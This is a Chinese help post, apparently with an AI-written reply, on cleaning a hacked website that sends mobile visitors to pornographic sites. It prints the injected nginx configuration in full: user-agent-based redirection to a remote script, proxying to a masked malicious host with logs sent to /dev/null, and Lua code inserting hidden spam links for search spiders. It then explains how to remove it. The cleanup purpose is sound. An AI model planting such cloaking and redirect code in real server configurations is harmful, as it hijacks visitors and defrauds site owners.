网站被黑并且导致手机端跳转到黄色网站,这是一个严重的安全问题。以下是一些建议的步骤来解决这个问题:
1. "立即断开网站与互联网的连接":为了防止进一步的损害,首先应该停止网站服务,将其从互联网上断开。
2. "更改所有密码":包括网站后台管理密码、数据库密码、FTP密码等。确保使用强密码,并定期更换。
3. "检查网站代码":仔细检查网站的代码,查找被植入的恶意脚本或后门。可以使用代码扫描工具来帮助识别潜在的问题。
4. "更新软件和插件":确保网站使用的CMS(内容管理系统)、插件、主题等都是最新版本,以修复已知的安全漏洞。
5. "备份数据":在清除恶意软件之前,确保对网站数据进行完整备份。清除恶意软件后,可以使用备份来恢复网站。
6. "清除恶意软件":使用安全工具扫描并清除网站中的恶意软件。可能需要多次扫描以确保所有恶意代码都被清除。
7. "修复安全漏洞":确定恶意软件是如何进入网站的,并修复相应的安全漏洞。这可能包括配置错误、未修补的漏洞、弱密码等。
8. "重新上线网站":在确认网站已经清除了恶意软件并且安全漏洞已经修复后,可以将网站重新上线。
9. "监控网站":上线后,持续监控网站的性能和安全状况,确保没有其他安全问题
相关内容:
下面是黑客窜改的代码:
location ~* /.*am.* {
set $mobile 0;
if ($http_user_agent ~* '(Android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini)') {
set $mobile 1;
}
if ($http_user_agent ~* 'Baiduspider') {
set $mobile 0;
}
if ($request_uri ~* ".*am.*") {
set $mobile "${mobile}1";
}
if ($mobile = "11") {
add_header Content-Type "text/html";
return 200 '<!DOCTYPE html><html><head><meta charset="utf-8"></head><body><script src="被挂上的HS网站.js"></script></body></html>';
}
rewrite ^ /news.php?lj=$request_uri&hh=$remote_addr&ym=$host break;
proxy_pass http://mulucdn1.XXXXXXX.com;
proxy_set_header Host mulucdn1.XXXXXX.com;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $host;
access_log /dev/null;
error_log /dev/null;
}
set_by_lua $pkac '
local rank_str = ]
local huozui = {".shtml",".html"}
local pdir = {"amxw"}
local ldir = {"news","show","info","read","list"}
math.randomseed(os.time())
for i=1,10 do
rank_str=rank_str..]..pdir..]..math.random(100000, 99999999)..huozui..]
end
rank_str=rank_str..]
local useragent = ngx.var.http_user_agent
local req_uri = ngx.var.request_uri
if string.find(req_uri, "fy") then
return ""
end
if ngx.var.spider == "01" or ngx.var.spider == "012" then
return rank_str
else
return ""
end';
sub_filter '</head>' '${pkac}</head>';
你提供的这段代码,就是直接导致网站跳黄色网站的恶意配置!里面藏了多个 “陷阱”,咱们一点点拆穿,然后彻底删除:
一、先看懂这些恶意代码在做什么(3 个关键陷阱)
- “条件跳转陷阱”(专门针对手机用户):
- nginx
- # 当访问的URL包含"am"(比如xxx/amxxx),且是手机访问时 if ($mobile = "11") { # 直接返回那段带恶意脚本的HTML(就是你看到的跳转代码) return 200 '<!DOCTYPE html><html>...<script src="https://upload.XXXXX.com/a78.js"></script></body></html>'; }
- 这就是为什么手机访问时会跳黄色网站的直接原因!
- “偷偷转发陷阱”:
- nginx
- proxy_pass http://mulucdn1.XXXXXX.com; # 把请求转发到恶意域名 proxy_set_header Host mulucdn1.XXXXXX.com;
- 即使不触发上面的条件,也会把访问偷偷转发到恶意网站,相当于 “双重保险” 让你跳走。
- “页面污染陷阱”(用 Lua 代码插入垃圾链接):
- 那段set_by_lua代码会在网页里偷偷插入大量隐藏的恶意链接(比如/amxw/123456.html),目的是污染你的网站内容,甚至可能被搜索引擎惩罚。
二、解决步骤:彻底删除这些恶意代码(按步骤来,超简单)
这些代码肯定藏在某个 Nginx 配置文件里(之前提到的extension文件夹里的.conf,或uwsgi_params.conf),按下面步骤找出来删掉:
第一步:找到包含这些恶意代码的文件
- 打开宝塔→「文件」;
- 按之前的路径找最可能的地方:优先查:/www/server/panel/vhost/nginx/extension/www.*****你的网站网址***.com/(里面的所有.conf 文件);其次查:/www/server/nginx/conf/uwsgi_params.conf(之前日志报错的文件);
- 每个文件点「编辑」→按「Ctrl+F」搜 “XXXXXX.com”(一秒定位恶意代码)。
第二步:删除所有恶意代码(关键!别留任何一句)
找到包含上面代码的文件后,删除以下所有内容:
- 整个location ~* /.*am.* { ... }块(从location ~* /.*am.* {开始,到对应的}结束,包括里面的所有代码);
- 整个set_by_lua $pkac '...';行(就是那段带 Lua 代码的长句子);
- 最后一行sub_filter '</head>' '${pkac}</head>';(这行在偷偷改你的网页内容)。
删完后,文件里应该看不到任何 “XXXXXX.com”“XXXX.js”“XXXXXXX” 相关的内容。
第三步:保存并重启,验证效果
- 删完后点「保存」;
- 宝塔→「服务」→重启「Nginx」和「PHP-8.2」;
- 用手机「无痕模式」访问之前的 CSS 链接,以及任何带 “am” 的 URL(比如假设你的网站有xxx/amxxx路径):正常情况下,会显示你的网站内容,不再跳黄色网站;查看网页源代码(手机浏览器里点「查看源代码」),也不会有<script src="https://upload.XXXXXX.com/a78.js"></script>这段代码了。
三、最后检查:确保没有漏网之鱼
黑客可能在多个文件里加了类似代码,再做一次全局搜索:
- 宝塔→「文件」→进入你的网站根目录或 Nginx 配置目录;
- 点「搜索」→搜内容 “XXXXXX.com”→范围选 “所有子目录”;
- 任何搜到的文件,都按第二步的方法删除恶意代码,确保彻底清除。
这些代码就是导致跳转的 “罪魁祸首”,只要彻底删除,问题就能解决!如果找不到文件或不确定删哪些,截个图把文件内容发给我,我帮你标出来~

微信扫一扫打赏
支付宝扫一扫打赏